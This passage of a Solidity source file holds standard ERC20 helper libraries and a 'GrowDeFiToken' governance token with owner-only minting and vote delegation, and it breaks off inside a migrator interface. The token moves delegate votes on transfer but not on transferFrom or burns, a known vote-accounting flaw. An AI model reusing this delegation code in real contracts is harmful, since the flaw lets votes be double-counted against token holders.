* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
//
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
//
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
//
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
//
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
//
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
//
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// GrowDeFiToken with Governance.
contract GrowDeFiToken is ERC20("GrowDeFi.capital", "GRDEFI"), Ownable {
/// @notice Creates `_amount` token to `_to`. Must only be called by the owner (DefiMaster).
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
_moveDelegates(address(0), _delegates[_to], _amount);
}
// Copied and modified from YAM code:
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol
// Which is copied and modified from COMPOUND:
// https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol
/// @notice A record of each accounts delegate
mapping (address => address) internal _delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegator The address to get delegatee for
*/
function delegates(address delegator)
external
view
returns (address)
{
return _delegates[delegator];
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(
address delegatee,
uint nonce,
uint expiry,
uint8 v,
bytes32 r,
bytes32 s
)
external
{
bytes32 domainSeparator = keccak256(
abi.encode(
DOMAIN_TYPEHASH,
keccak256(bytes(name())),
getChainId(),
address(this)
)
);
bytes32 structHash = keccak256(
abi.encode(
DELEGATION_TYPEHASH,
delegatee,
nonce,
expiry
)
);
bytes32 digest = keccak256(
abi.encodePacked(
"\x19\x01",
domainSeparator,
structHash
)
);
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "GrowDeFi::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "GrowDeFi::delegateBySig: invalid nonce");
require(now <= expiry, "GrowDeFi::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account)
external
view
returns (uint256)
{
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint blockNumber)
external
view
returns (uint256)
{
require(blockNumber < block.number, "GrowDeFi::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee)
internal
{
address currentDelegate = _delegates[delegator];
uint256 delegatorBalance = balanceOf(delegator); // balance of underlying growdefis (not scaled);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
// decrease old representative
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld.sub(amount);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
// increase new representative
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(
address delegatee,
uint32 nCheckpoints,
uint256 oldVotes,
uint256 newVotes
)
internal
{
uint32 blockNumber = safe32(block.number, "GrowDeFi::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
_moveDelegates(_delegates[_msgSender()], _delegates[recipient], amount);
return true;
}
}
interface IMigratorDefiMaster {
// Perform LP token migration from legacy UniswapV2 to GrowDeFiSwap.
// Take the current LP token address and return the new LP token address.
// Migrator should have full access to the caller's LP token.
// Return the new LP token address.
//
